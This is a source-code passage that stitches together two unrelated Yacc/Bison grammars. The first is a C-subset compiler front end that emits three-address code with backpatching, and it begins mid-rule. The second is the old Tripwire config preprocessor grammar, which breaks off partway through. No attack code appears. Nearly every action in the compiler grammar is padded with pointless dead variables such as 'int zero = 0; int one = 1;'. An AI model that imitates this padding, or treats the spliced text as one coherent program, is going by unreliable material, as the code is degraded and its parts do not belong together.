$$ = new array_def();
$$->array_def = $1->loc;
int zero = 0;
int one = 1; // copy the base
$$->type = $1->type->ptr; // type = type of element
$$->loc = gentemp(new symbol_type("INTEGER")); // store computed address
if ($1->cat=="ARR") { // if already computed
sym* t = gentemp(new symbol_type("INTEGER"));
stringstream STring;
STring <<size_type($$->type);
string TempString = STring.str();
int two = 2;
int three = 3;
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
emit ("MULT", t->name, $3->loc->name, str);
emit ("ADD", $$->loc->name, $1->loc->name, t->name);
}
else {
stringstream STring;
STring <<size_type($$->type);
string TempString = STring.str();
int four = 4;
int five = 5;
char* Int_STring1 = (char*) TempString.c_str();
string str1 = string(Int_STring1);
emit("MULT", $$->loc->name, $3->loc->name, str1);
}
$$->cat = "ARR";
}
|postfixExpression OPENROUNDBRACKET CLOSEROUNDBRACKET {
}
|postfixExpression OPENROUNDBRACKET argumentExpressionList CLOSEROUNDBRACKET {
$$ = new array_def();
$$->array_def = gentemp($1->type);
stringstream STring;
STring <<$3;
string TempString = STring.str();
int zero = 0;
int one = 1;
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
emit("CALL", $$->array_def->name, $1->array_def->name, str);
}
|postfixExpression DOT IDENTIFIER {
}
|postfixExpression ACC IDENTIFIER {
}
|postfixExpression INC {
$$ = new array_def();
int zero = 0;
int one = 1;
// copy $1 to $$
$$->array_def = gentemp($1->array_def->type);
emit ("EQUAL", $$->array_def->name, $1->array_def->name);
emit ("ADD", $1->array_def->name, $1->array_def->name, "1");
}
|postfixExpression DEC {
$$ = new array_def();
// copy $1 to $$
$$->array_def = gentemp($1->array_def->type);
emit ("EQUAL", $$->array_def->name, $1->array_def->name);
int zero = 0;
int one = 1;
// Decrement $1
emit ("SUB", $1->array_def->name, $1->array_def->name, "1");
}
|OPENROUNDBRACKET type_name CLOSEROUNDBRACKET OPENCURLYBRACKET initializer_list CLOSECURLYBRACKET {
$$ = new array_def();
int zero = 0;
int one = 1;
$$->array_def = gentemp(new symbol_type("INTEGER"));
$$->loc = gentemp(new symbol_type("INTEGER"));
}
|OPENROUNDBRACKET type_name CLOSEROUNDBRACKET OPENCURLYBRACKET initializer_list COMMA CLOSECURLYBRACKET {
$$ = new array_def();
int zero = 0;
int one = 1;
$$->array_def = gentemp(new symbol_type("INTEGER"));
$$->loc = gentemp(new symbol_type("INTEGER"));
}
;
castExpression
:unaryExpression {
int zero = 0;
int one = 1;
$$=$1;
}
|OPENROUNDBRACKET type_name CLOSEROUNDBRACKET castExpression {
//to be added later
int zero = 0;
int one = 1;
$$=$4;
}
;
selectionStatement
:IF OPENROUNDBRACKET expression N CLOSEROUNDBRACKET M statement N %prec THEN{
backpatch ($4->nextlist, nextinstr());
convert_Int_2_Bool($3);
$$ = new statement();
backpatch ($3->truelist, $6);
list<int> temp = merge ($3->falselist, $7->nextlist);
$$->nextlist = merge ($8->nextlist, temp);
}
|IF OPENROUNDBRACKET expression N CLOSEROUNDBRACKET M statement N ELSE M statement {
backpatch ($4->nextlist, nextinstr());
convert_Int_2_Bool($3);
int zero = 0;
int one = 1;
$$ = new statement();
backpatch ($3->truelist, $6);
backpatch ($3->falselist, $10);
int zeroo = 0;
int onee = 1;
list<int> temp = merge ($7->nextlist, $8->nextlist);
$$->nextlist = merge ($11->nextlist,temp);
}
|SWITCH OPENROUNDBRACKET expression CLOSEROUNDBRACKET statement {
}
;
multiplicativeExpression
:castExpression {
$$ = new expr();
int zero = 0;
int one = 1;
if ($1->cat=="ARR") {
$$->loc = gentemp($1->loc->type);
int two = 2;
int three = 3;
emit("ARRR", $$->loc->name, $1->array_def->name, $1->loc->name);
}
else if ($1->cat=="PTR") {
$$->loc = $1->loc;
int two = 2;
int three = 3;
}
else {
$$->loc = $1->array_def;
int two = 2;
int three = 3;
}
}
|multiplicativeExpression MUL castExpression {
if (typecheck ($1->loc, $3->array_def) ) {
$$ = new expr();
int two = 2;
int three = 3;
$$->loc = gentemp(new symbol_type($1->loc->type->type));
emit ("MULT", $$->loc->name, $1->loc->name, $3->array_def->name);
}
else cout << "Type Error"<< endl;
}
|multiplicativeExpression DIV castExpression {
if (typecheck ($1->loc, $3->array_def) ) {
$$ = new expr();
int two = 2;
int three = 3;
$$->loc = gentemp(new symbol_type($1->loc->type->type));
emit ("DIVIDE", $$->loc->name, $1->loc->name, $3->array_def->name);
}
else cout << "Type Error"<< endl;
}
|multiplicativeExpression MODULO castExpression {
if (typecheck ($1->loc, $3->array_def) ) {
$$ = new expr();
int two = 2;
int three = 3;
$$->loc = gentemp(new symbol_type($1->loc->type->type));
emit ("MODOP", $$->loc->name, $1->loc->name, $3->array_def->name);
}
else cout << "Type Error"<< endl;
}
;
additiveExpression
:multiplicativeExpression {
$$=$1;
}
|additiveExpression ADD multiplicativeExpression {
int two = 2;
int three = 3;
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
int zero = 0;
int one = 1;
$$->loc = gentemp(new symbol_type($1->loc->type->type));
emit ("ADD", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
|additiveExpression SUB multiplicativeExpression {
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
int zero = 0;
int one = 1;
$$->loc = gentemp(new symbol_type($1->loc->type->type));
emit ("SUB", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
;
unaryOperator
:AMP {
int zero = 0;
int one = 1;
$$ = '&';
}
|MUL {
int zero = 0;
int one = 1;
$$ = '*';
}
|ADD {
int zero = 0;
int one = 1;
$$ = '+';
}
|SUB {
int zero = 0;
int one = 1;
$$ = '-';
}
|NEG {
int zero = 0;
int one = 1;
$$ = '~';
}
|EXCLAIM {
int zero = 0;
int one = 1;
$$ = '!';
}
;
shiftExpression
:additiveExpression {
$$=$1;
}
|shiftExpression SHL additiveExpression {
if ($3->loc->type->type == "INTEGER") {
$$ = new expr();
int zero = 0;
int one = 1;
$$->loc = gentemp (new symbol_type("INTEGER"));
emit ("LEFTOP", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
|shiftExpression SHR additiveExpression{
if ($3->loc->type->type == "INTEGER") {
$$ = new expr();
int zero = 0;
int one = 1;
$$->loc = gentemp (new symbol_type("INTEGER"));
emit ("RIGHTOP", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
;
declaration_specifiers
:storage_class_specifier declaration_specifiers {
int zero = 0;
int one = 1;
}
|storage_class_specifier {
}
|type_specifier declaration_specifiers {
}
|type_specifier {
int zero = 0;
int one = 1;
}
|TYpeQualifier declaration_specifiers {
}
|TYpeQualifier {
int zero = 0;
int one = 1;
}
|functionSpecifier declaration_specifiers {
}
|functionSpecifier {
int zero = 0;
int one = 1;
}
;
equalityExpression
:relationalExpression {$$=$1;}
|equalityExpression EQ relationalExpression {
if (typecheck ($1->loc, $3->loc)) {
convert_Bool_2_Int ($1);
convert_Bool_2_Int ($3);
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("EQOP", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
|equalityExpression NEQ relationalExpression {
if (typecheck ($1->loc, $3->loc) ) {
// If any is bool get its value
convert_Bool_2_Int ($1);
convert_Bool_2_Int ($3);
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("NEOP", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
;
ANDexpression
:equalityExpression {$$=$1;}
|ANDexpression AMP equalityExpression {
if (typecheck ($1->loc, $3->loc) ) {
// If any is bool get its value
convert_Bool_2_Int ($1);
convert_Bool_2_Int ($3);
int zero = 0;
int one = 1;
$$ = new expr();
$$->type = "NONBOOL";
$$->loc = gentemp (new symbol_type("INTEGER"));
emit ("BAND", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
;
exclusiveORexpression
:ANDexpression {$$=$1;}
|exclusiveORexpression BITXOR ANDexpression {
if (typecheck ($1->loc, $3->loc) ) {
// If any is bool get its value
convert_Bool_2_Int ($1);
convert_Bool_2_Int ($3);
int zero = 0;
int one = 1;
$$ = new expr();
$$->type = "NONBOOL";
$$->loc = gentemp (new symbol_type("INTEGER"));
emit ("XOR", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
;
inclusiveORexpression
:exclusiveORexpression {$$=$1;}
|inclusiveORexpression BITOR exclusiveORexpression {
if (typecheck ($1->loc, $3->loc) ) {
// If any is bool get its value
convert_Bool_2_Int ($1);
convert_Bool_2_Int ($3);
int zero = 0;
int one = 1;
$$ = new expr();
$$->type = "NONBOOL";
$$->loc = gentemp (new symbol_type("INTEGER"));
emit ("INOR", $$->loc->name, $1->loc->name, $3->loc->name);
}
else cout << "Type Error"<< endl;
}
;
logicalANDexpression
:inclusiveORexpression {$$=$1;}
|logicalANDexpression N AND M inclusiveORexpression {
convert_Int_2_Bool($5);
// convert $1 to bool and backpatch using N
backpatch($2->nextlist, nextinstr());
convert_Int_2_Bool($1);
int zero = 0;
int one = 1;
$$ = new expr();
$$->type = "BOOL";
backpatch($1->truelist, $4);
$$->truelist = $5->truelist;
$$->falselist = merge ($1->falselist, $5->falselist);
}
;
logicalORexpression
:logicalANDexpression {$$=$1;}
|logicalORexpression N OR M logicalANDexpression {
convert_Int_2_Bool($5);
backpatch($2->nextlist, nextinstr());
convert_Int_2_Bool($1);
int zero = 0;
int one = 1;
$$ = new expr();
$$->type = "BOOL";
backpatch ($$->falselist, $4);
$$->truelist = merge ($1->truelist, $5->truelist);
$$->falselist = $5->falselist;
}
;
M : %empty{
$$ = nextinstr();
};
N : %empty {
$$ = new statement();
$$->nextlist = makelist(nextinstr());
emit ("GOTOOP","");
}
conditionalExpression
:logicalORexpression {$$=$1;}
|logicalORexpression N QUESTION M expression N COLON M conditionalExpression {
$$->loc = gentemp($5->loc->type);
$$->loc->update($5->loc->type);
emit("EQUAL", $$->loc->name, $9->loc->name);
list<int> l = makelist(nextinstr());
emit ("GOTOOP", "");
int zero = 0;
int one = 1;
backpatch($6->nextlist, nextinstr());
emit("EQUAL", $$->loc->name, $5->loc->name);
list<int> m = makelist(nextinstr());
l = merge (l, m);
emit ("GOTOOP", "");
int two = 2;
int three = 3;
backpatch($2->nextlist, nextinstr());
convert_Int_2_Bool($1);
backpatch ($1->truelist, $4);
backpatch ($1->falselist, $8);
backpatch (l, nextinstr());
}
;
assignmentExpression
:conditionalExpression {$$=$1;}
|unaryExpression assignment_operator assignmentExpression {
if($1->cat=="ARR") {
$3->loc = conv($3->loc, $1->type->type);
int zero = 0;
int one = 1;
emit("ARRL", $1->array_def->name, $1->loc->name, $3->loc->name);
}
else if($1->cat=="PTR") {
emit("PTRL", $1->array_def->name, $3->loc->name);
}
else{
$3->loc = conv($3->loc, $1->array_def->type->type);
emit("EQUAL", $1->array_def->name, $3->loc->name);
}
$$ = $3;
}
;
primaryExpression
: IDENTIFIER {
$$ = new expr();
$$->loc = $1;
int zero = 0;
int one = 1;
$$->type = "NONBOOL";
}
| constant {
$$ = new expr();
int zero = 0;
int one = 1;
$$->loc = $1;
}
| STRING_LITERAL {
$$ = new expr();
symbol_type* tmp = new symbol_type("PTR");
int zero = 0;
int one = 1;
$$->loc = gentemp(tmp, $1);
$$->loc->type->ptr = new symbol_type("CHAR");
}
| OPENROUNDBRACKET expression CLOSEROUNDBRACKET {
int zero = 0;
int one = 1;
$$ = $2;
}
;
assignment_operator
:ASSIGN {
}
|STAREQ {
}
|DIVEQ {
}
|MODEQ {
}
|PLUSEQ {
}
|MINUSEQ {
}
|SHLEQ {
}
|SHREQ {
}
|BINANDEQ {
}
|BINXOREQ {
}
|BINOREQ {
}
;
expression
:assignmentExpression {$$=$1;}
|expression COMMA assignmentExpression {
int zero = 0;
int one = 1;
}
;
constant_expression
:conditionalExpression {
int zero = 0;
int one = 1;
}
;
declaration
:declaration_specifiers InitDeclaratorList SEMICOLON {
}
|declaration_specifiers SEMICOLON {
int zero = 0;
int one = 1;
}
;
InitDeclaratorList
:initDeclarator {
}
|InitDeclaratorList COMMA initDeclarator {
}
;
initDeclarator
:declarator {$$=$1;}
|declarator ASSIGN initializer {
int zero = 0;
int one = 1;
if ($3->initial_value!="") $1->initial_value=$3->initial_value;
emit ("EQUAL", $1->name, $3->name);
}
;
storage_class_specifier
: EXTERN {
}
| STATIC {
}
| AUTO {
}
| REGISTER {
}
;
type_specifier
: VOID {Type="VOID";}
| CHAR {Type="CHAR";}
| SHORT
| INT {Type="INTEGER";}
| LONG
| FLOAT
| DOUBLE {Type="DOUBLE";}
| SIGNED
| UNSIGNED
| BOOL
| COMPLEX
| IMAGINARY
| ENUMSpecifier
;
SPecifierQualifierList
: type_specifier SPecifierQualifierList {
int zero = 0;
int one = 1;
}
| type_specifier {
int zero = 0;
int one = 1;
}
| TYpeQualifier SPecifierQualifierList {
int zero = 0;
int one = 1;
}
| TYpeQualifier {
int zero = 0;
int one = 1;
}
;
ENUMSpecifier
:ENUM IDENTIFIER OPENCURLYBRACKET ENumeratorList CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
|ENUM OPENCURLYBRACKET ENumeratorList CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
|ENUM IDENTIFIER OPENCURLYBRACKET ENumeratorList COMMA CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
|ENUM OPENCURLYBRACKET ENumeratorList COMMA CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
|ENUM IDENTIFIER {
int zero = 0;
int one = 1;
}
;
ENumeratorList
:enumerator {
int zero = 0;
int one = 1;
}
|ENumeratorList COMMA enumerator {
int zero = 0;
int one = 1;
}
;
enumerator
:IDENTIFIER {
int zero = 0;
int one = 1;
}
|IDENTIFIER ASSIGN constant_expression {
int zero = 0;
int one = 1;
}
;
TYpeQualifier
:CONST {
int zero = 0;
int one = 1;
}
|RESTRICT {
int zero = 0;
int one = 1;
}
|VOLATILE {
int zero = 0;
int one = 1;
}
;
functionSpecifier
:INLINE {
}
;
declarator
:pointer directDeclarator {
symbol_type * t = $1;
int zero = 0;
int one = 1;
while (t->ptr !=NULL) t = t->ptr;
t->ptr = $2->type;
$$ = $2->update($1);
}
|directDeclarator {
}
;
directDeclarator
:IDENTIFIER {
$$ = $1->update(new symbol_type(Type));
currSymbol = $$;
int zero = 0;
int one = 1;
}
| OPENROUNDBRACKET declarator CLOSEROUNDBRACKET {$$=$2;}
| directDeclarator OPENSQUAREBRACKET TYpeQualifier_list assignmentExpression CLOSESQUAREBRACKET {
}
| directDeclarator OPENSQUAREBRACKET TYpeQualifier_list CLOSESQUAREBRACKET {
}
| directDeclarator OPENSQUAREBRACKET assignmentExpression CLOSESQUAREBRACKET {
symbol_type * t = $1 -> type;
symbol_type * prev = NULL;
int zero = 0;
int one = 1;
while (t->type == "ARR") {
prev = t;
t = t->ptr;
}
if (prev==NULL) {
int temp = atoi($3->loc->initial_value.c_str());
symbol_type* s = new symbol_type("ARR", $1->type, temp);
int zero = 0;
int one = 1;
$$ = $1->update(s);
}
else {
prev->ptr = new symbol_type("ARR", t, atoi($3->loc->initial_value.c_str()));
int zero = 0;
int one = 1;
$$ = $1->update ($1->type);
}
}
| directDeclarator OPENSQUAREBRACKET CLOSESQUAREBRACKET {
symbol_type * t = $1 -> type;
symbol_type * prev = NULL;
int zero = 0;
int one = 1;
while (t->type == "ARR") {
prev = t;
t = t->ptr;
}
if (prev==NULL) {
symbol_type* s = new symbol_type("ARR", $1->type, 0);
int zero = 0;
int one = 1;
$$ = $1->update(s);
}
else {
prev->ptr = new symbol_type("ARR", t, 0);
int zero = 0;
int one = 1;
$$ = $1->update ($1->type);
}
}
| directDeclarator OPENSQUAREBRACKET TYpeQualifier_list MUL CLOSESQUAREBRACKET {
int zero = 0;
int one = 1;
}
| directDeclarator OPENSQUAREBRACKET STATIC TYpeQualifier_list assignmentExpression CLOSESQUAREBRACKET {
int zero = 0;
int one = 1;
}
| directDeclarator OPENSQUAREBRACKET STATIC assignmentExpression CLOSESQUAREBRACKET {
int zero = 0;
int one = 1;
}
| directDeclarator OPENSQUAREBRACKET MUL CLOSESQUAREBRACKET {
int zero = 0;
int one = 1;
}
| directDeclarator OPENROUNDBRACKET CT parameter_type_list CLOSEROUNDBRACKET {
current_table->name = $1->name;
int zero = 0;
int one = 1;
if ($1->type->type =="VOID") {
;
}
else{
sym *s = current_table->lookup("return");
int three = 3;
int four = 4;
s->update($1->type);
}
$1->nested=current_table;
current_table->parent = global_table;
changeTable (global_table);
currSymbol = $$;
}
| directDeclarator OPENROUNDBRACKET identifier_list CLOSEROUNDBRACKET {
int zero = 0;
int one = 1;
}
| directDeclarator OPENROUNDBRACKET CT CLOSEROUNDBRACKET {
current_table->name = $1->name;
int zero = 0;
int one = 1;
if ($1->type->type =="VOID") {
;
}
else{
sym *s = current_table->lookup("return");
int three = 0;
int four = 1;
s->update($1->type);
}
$1->nested=current_table;
current_table->parent = global_table;
changeTable (global_table);
currSymbol = $$;
}
;
CT
: %empty {
if (currSymbol->nested!=NULL){
changeTable (currSymbol ->nested);
emit ("LABEL", current_table->name);
}
else {
changeTable(new symtable(""));
}
}
;
pointer
:MUL TYpeQualifier_list {
}
|MUL {
$$ = new symbol_type("PTR");
int zero = 0;
int one = 1;
}
|MUL TYpeQualifier_list pointer {
int zero = 0;
int one = 1;
}
|MUL pointer {
$$ = new symbol_type("PTR", $2);
int zero = 0;
int one = 1;
}
;
TYpeQualifier_list
:TYpeQualifier {
int zero = 0;
int one = 1;
}
|TYpeQualifier_list TYpeQualifier {
int zero = 0;
int one = 1;
}
;
argumentExpressionList
:assignmentExpression {
emit ("PARAM", $1->loc->name);
int zero = 0;
int one = 1;
$$ = 1;
}
|argumentExpressionList COMMA assignmentExpression {
emit ("PARAM", $3->loc->name);
$$ = $1+1;
}
;
relationalExpression
:shiftExpression {$$=$1;}
|relationalExpression BITSHL shiftExpression {
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("LT", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
|relationalExpression BITSHR shiftExpression {
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("GT", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
|relationalExpression LESS_THAN_EQUAL shiftExpression {
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("LE", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
|relationalExpression GREATER_THAN_EQUAL shiftExpression {
if (typecheck ($1->loc, $3->loc) ) {
$$ = new expr();
$$->type = "BOOL";
int zero = 0;
int one = 1;
$$->truelist = makelist (nextinstr());
$$->falselist = makelist (nextinstr()+1);
emit("GE", "", $1->loc->name, $3->loc->name);
emit ("GOTOOP", "");
}
else cout << "Type Error"<< endl;
}
;
unaryExpression
:postfixExpression {
int zero = 0;
int one = 1;
$$ = $1;
}
|INC unaryExpression {
emit ("ADD", $2->array_def->name, $2->array_def->name, "1");
int zero = 0;
int one = 1;
// Use the same value as $2
$$ = $2;
}
|DEC unaryExpression {
emit ("SUB", $2->array_def->name, $2->array_def->name, "1");
int zero = 0;
int one = 1;
// Use the same value as $2
$$ = $2;
}
|unaryOperator castExpression {
$$ = new array_def();
int zero = 0;
int one = 1;
switch ($1) {
case '&':
$$->array_def = gentemp((new symbol_type("PTR")));
$$->array_def->type->ptr = $2->array_def->type;
emit ("ADDRESS", $$->array_def->name, $2->array_def->name);
break;
case '*':
$$->cat = "PTR";
$$->loc = gentemp ($2->array_def->type->ptr);
emit ("PTRR", $$->loc->name, $2->array_def->name);
$$->array_def = $2->array_def;
break;
case '+':
$$ = $2;
break;
case '-':
$$->array_def = gentemp(new symbol_type($2->array_def->type->type));
emit ("UMINUS", $$->array_def->name, $2->array_def->name);
break;
case '~':
$$->array_def = gentemp(new symbol_type($2->array_def->type->type));
emit ("BNOT", $$->array_def->name, $2->array_def->name);
break;
case '!':
$$->array_def = gentemp(new symbol_type($2->array_def->type->type));
emit ("LNOT", $$->array_def->name, $2->array_def->name);
break;
default:
break;
}
int two = 2;
int three = 3;
}
|SIZEOF unaryExpression {
}
|SIZEOF OPENROUNDBRACKET type_name CLOSEROUNDBRACKET {
}
;
parameter_type_list
:parameter_list {
int zero = 0;
int one = 1;
}
|parameter_list COMMA DOTS {
int zero = 0;
int one = 1;
}
;
parameter_list
:parameter_declaration {
int zero = 0;
int one = 1;
}
|parameter_list COMMA parameter_declaration {
int zero = 0;
int one = 1;
}
;
parameter_declaration
:declaration_specifiers declarator {
int zero = 0;
int one = 1;
}
|declaration_specifiers {
int zero = 0;
int one = 1;
}
;
identifier_list
:IDENTIFIER {
int zero = 0;
int one = 1;
}
|identifier_list COMMA IDENTIFIER {
int zero = 0;
int one = 1;
}
;
type_name
:SPecifierQualifierList {
int zero = 0;
int one = 1;
}
;
initializer
:assignmentExpression {
$$ = $1->loc;
int zero = 0;
int one = 1;
}
|OPENCURLYBRACKET initializer_list CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
|OPENCURLYBRACKET initializer_list COMMA CLOSECURLYBRACKET {
int zero = 0;
int one = 1;
}
;
initializer_list
:designation initializer {
int zero = 0;
int one = 1;
}
|initializer {
int zero = 0;
int one = 1;
}
|initializer_list COMMA designation initializer {
int zero = 0;
int one = 1;
}
|initializer_list COMMA initializer {
int zero = 0;
int one = 1;
}
;
designation
:designator_list ASSIGN {
int zero = 0;
int one = 1;
}
;
designator_list
:designator {
int zero = 0;
int one = 1;
}
|designator_list designator {
int zero = 0;
int one = 1;
}
;
designator
:OPENSQUAREBRACKET constant_expression CLOSESQUAREBRACKET {
int zero = 0;
int one = 1;
}
|DOT IDENTIFIER {
int zero = 0;
int one = 1;
}
;
statement
:labeledStatement {
}
|compoundStatement {$$=$1;}
|expressionStatement {
int zero = 0;
int one = 1;
$$ = new statement();
$$->nextlist = $1->nextlist;
}
|selectionStatement {$$=$1;}
|iterationStatement {$$=$1;}
|jumpStatement {$$=$1;}
;
labeledStatement
:IDENTIFIER COLON statement {$$ = new statement();}
|CASE constant_expression COLON statement {$$ = new statement();}
|DEFAULT COLON statement {$$ = new statement();}
;
compoundStatement
:OPENCURLYBRACKET blockItemList CLOSECURLYBRACKET {$$=$2;}
|OPENCURLYBRACKET CLOSECURLYBRACKET {$$ = new statement();}
;
blockItemList
:blockItem {$$=$1;}
|blockItemList M blockItem {
int zero = 0;
int one = 1;
$$=$3;
backpatch ($1->nextlist, $2);
}
;
blockItem
:declaration {
int zero = 0;
int one = 1;
$$ = new statement();
}
|statement {$$ = $1;}
;
expressionStatement
:expression SEMICOLON {$$=$1;}
|SEMICOLON {$$ = new expr();}
;
iterationStatement
:WHILE M OPENROUNDBRACKET expression CLOSEROUNDBRACKET M statement {
$$ = new statement();
convert_Int_2_Bool($4);
int zero = 0;
int one = 1;
// M1 to go back to boolean again
// M2 to go to statement if the boolean is true
backpatch($7->nextlist, $2);
backpatch($4->truelist, $6);
$$->nextlist = $4->falselist;
int zeroo = 0;
int onee = 1;
// Emit to prevent fallthrough
stringstream STring;
STring << $2;
string TempString = STring.str();
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
int zerooo = 0;
int oneee = 1;
emit ("GOTOOP", str);
}
|DO M statement M WHILE OPENROUNDBRACKET expression CLOSEROUNDBRACKET SEMICOLON {
$$ = new statement();
convert_Int_2_Bool($7);
int zero = 0;
int one = 1;
backpatch ($7->truelist, $2);
backpatch ($3->nextlist, $4);
$$->nextlist = $7->falselist;
}
|FOR OPENROUNDBRACKET expressionStatement M expressionStatement CLOSEROUNDBRACKET M statement{
$$ = new statement();
convert_Int_2_Bool($5);
backpatch ($5->truelist, $7);
backpatch ($8->nextlist, $4);
stringstream STring;
STring << $4;
int zero = 0;
int one = 1;
string TempString = STring.str();
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
emit ("GOTOOP", str);
$$->nextlist = $5->falselist;
}
|FOR OPENROUNDBRACKET expressionStatement M expressionStatement M expression N CLOSEROUNDBRACKET M statement{
$$ = new statement();
int zeroo = 0;
int onee = 1;
convert_Int_2_Bool($5);
backpatch ($5->truelist, $10);
backpatch ($8->nextlist, $4);
backpatch ($11->nextlist, $6);
stringstream STring;
STring << $6;
int zero = 0;
int one = 1;
string TempString = STring.str();
char* Int_STring = (char*) TempString.c_str();
string str = string(Int_STring);
emit ("GOTOOP", str);
$$->nextlist = $5->falselist;
}
;
jumpStatement
:GOTO IDENTIFIER SEMICOLON {$$ = new statement();}
|CONTINUE SEMICOLON {$$ = new statement();}
|BREAK SEMICOLON {$$ = new statement();}
|RETURN expression SEMICOLON {
$$ = new statement();
int zero = 0;
int one = 1;
emit("RETURN",$2->loc->name);
}
|RETURN SEMICOLON {
$$ = new statement();
int zero = 0;
int one = 1;
emit("RETURN","");
}
;
declaration_list
:declaration {
int zero = 0;
int one = 1;
}
|declaration_list declaration {
}
;
translationUnit
:external_declaration {}
|translationUnit external_declaration {}
;
external_declaration
:function_definition {}
|declaration {}
;
function_definition
:declaration_specifiers declarator declaration_list CT compoundStatement {}
|declaration_specifiers declarator CT compoundStatement {
int zero = 0;
int one = 1;
current_table->parent = global_table;
changeTable (global_table);
}
;
%%
void yyerror(string s) {
cout<<s<<endl;
}
|
%token COMMENT
%token EOL
%token STRING
%token INCLUDE
%token DEFINE
%token UNDEF
%token ELSE
%token ENDIF
%token CONTENTS
%token DBASEVERSION
%token LPAREN
%token RPAREN
%token ANDAND
%token OROR
%token ECHOTHIS
%token BSLASH
%token ESCCHAR
%{
/* $Id: config.pre.y,v 1.23 1994/08/04 03:44:32 gkim Exp $ */
/*
* config.y
*
* tw.config preprocessor parser for yacc.
*
* This implementation does an unfortunately large number of
* malloc()'s and free()'s to store the lexeme values. Although
* memory leaks are few, too much time is spent doing memory
* allocation.
*
* At this point, I would argue that this is not too significant,
* since we only run this routine once.
*
* <NAME>
* Purdue University
* October 5, 1992
*
* Modified by <NAME> to work with linux, March 9, 1994
*/
#include "../include/config.h"
#include <stdio.h>
#ifdef STDLIBH
#include <stdlib.h>
#endif
#ifdef STRINGH
#include <string.h>
#else
#include <strings.h>
#endif
#ifdef MALLOCH
#include <malloc.h>
#endif
#include <assert.h>
#include <sys/param.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "../include/list.h"
#include "../include/tripwire.h"
extern FILE *yyin;
extern FILE *yyout;
#ifndef EMBED
#ifdef TW_LINUX
#include <malloc.h>
void *yy_flex_realloc(void *x,int y) { return realloc(x,y); }
void *yy_flex_alloc (int y ) { return malloc(y); }
void yy_flex_free (void *x ) { free(x); }
#define yy_strcpy(a,b) strcpy((a),(b))
#endif /* TW_LINUX */
#endif
#define INCLUDE_STACK_SZ 16 /* max num of nested includes */
int yaccdebuglevel = 0;
static int linenumber = 1;
static FILE *fp_stack[INCLUDE_STACK_SZ];
static int linenumber_stack[INCLUDE_STACK_SZ];
static char *filename_stack[INCLUDE_STACK_SZ];
static int stackpointer = 0;
static int found_db_version = 0;
static struct list **pp_entry_list_global = NULL;
static char currparsefile[MAXPATHLEN+1024];
/* prototypes */
static char *string_dequote();
static void include_push();
static FILE *include_pop();
/* this is for some versions of flex and bison, who don't make any
* effort to look like lex and yacc.
*/
#ifdef LINUX
extern FILE **yyin, *yyout;
void *yy_flex_realloc(void *x,int y) { return realloc(x,y); }
void *yy_flex_alloc (int y ) { return malloc(y); }
void yy_flex_free (void *x ) { free(x); }
#endif
struct comp {
char *string;
int directive;
};
%}
%union {
struct comp *comp;
char *string;
long val;
}
%left <string> COMMENT ESCCHAR STRING
%token <val> IFDEF IFNDEF IFHOST IFNHOST
/*
%type <string> word words directive colines coline else
*/
%type <comp> word
%type <string> words directive colines coline else
%type <val> if_expr host_expr
%left <val> ANDAND OROR
%start lines
%%
lines : lines line
|
;
/* we do all of the line-emitting in this production (line) */
line : directive EOL
{
/*
linenumber++;
*/
if ($1) {
fprintf(yyout, "%s\n", $1);
free($1);
}
}
| words EOL
{
/*
linenumber++;
*/
if ($1) {
fprintf(yyout, "%s\n", $1);
free($1);
}
}
;
colines : colines coline
{
/* If coline is null, just pass on colines. */
if ($2 == NULL) {
$$ = $1;
} else {
/* concatenate the two terminals together */
if ($1 == NULL) {
$$ = (char *) malloc((unsigned) strlen($2) + 1);
$$[0] = '\0';
}
else {
$$ = (char *) malloc((unsigned)
(strlen($1) + strlen($2)) + 2);
(void) strcpy($$, $1);
(void) strcat($$, "\n");
/* free up the left component */
free($1);
}
(void) strcat($$, $2);
/* free up the right component */
if ($2)
free($2);
}
SPDEBUG(11) printf("--(coline)--> (%s)\n", $$);
}
|
{
$$ = NULL;
}
;
coline : directive EOL { $$ = $1; /* linenumber++; */}
| words EOL { $$ = $1; /* linenumber++; */}
;
else : ELSE colines
{
$$ = $2;
}
|
{
$$ = NULL;
}
;
